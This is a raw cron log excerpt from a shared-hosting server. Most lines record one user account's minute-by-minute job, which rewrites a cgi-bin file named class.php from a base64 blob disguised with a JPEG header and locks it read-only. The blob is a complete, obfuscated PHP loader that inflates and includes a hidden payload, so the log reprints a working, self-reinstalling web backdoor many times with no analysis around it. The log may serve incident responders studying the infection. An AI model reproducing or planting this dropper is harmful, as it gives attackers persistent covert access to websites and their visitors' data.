&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:55:01 server CROND[23503]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:55:01 server CROND[23504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:55:01 server CROND[23505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:56:01 server CROND[24553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:57:01 server CROND[25408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:57:01 server CROND[25409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:58:01 server CROND[26281]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:59:01 server CROND[27201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:00:01 server CROND[28066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:00:01 server CROND[28067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:00:01 server CROND[28068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:00:01 server CROND[28069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 01:01:01 server CROND[29071]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 01:01:01 server CROND[29074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:01:01 server run-parts(/etc/cron.hourly)[29071]: starting 0anacron
Nov 14 01:01:01 server anacron[29084]: Anacron started on 2025-11-14
Nov 14 01:01:01 server anacron[29084]: Normal exit (0 jobs run)
Nov 14 01:01:01 server run-parts(/etc/cron.hourly)[29086]: finished 0anacron
Nov 14 01:02:01 server CROND[29965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:03:01 server CROND[30816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:04:01 server CROND[31853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:05:01 server CROND[32716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:05:01 server CROND[32717]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 01:05:01 server CROND[32718]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:05:01 server CROND[32720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:06:01 server CROND[1040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
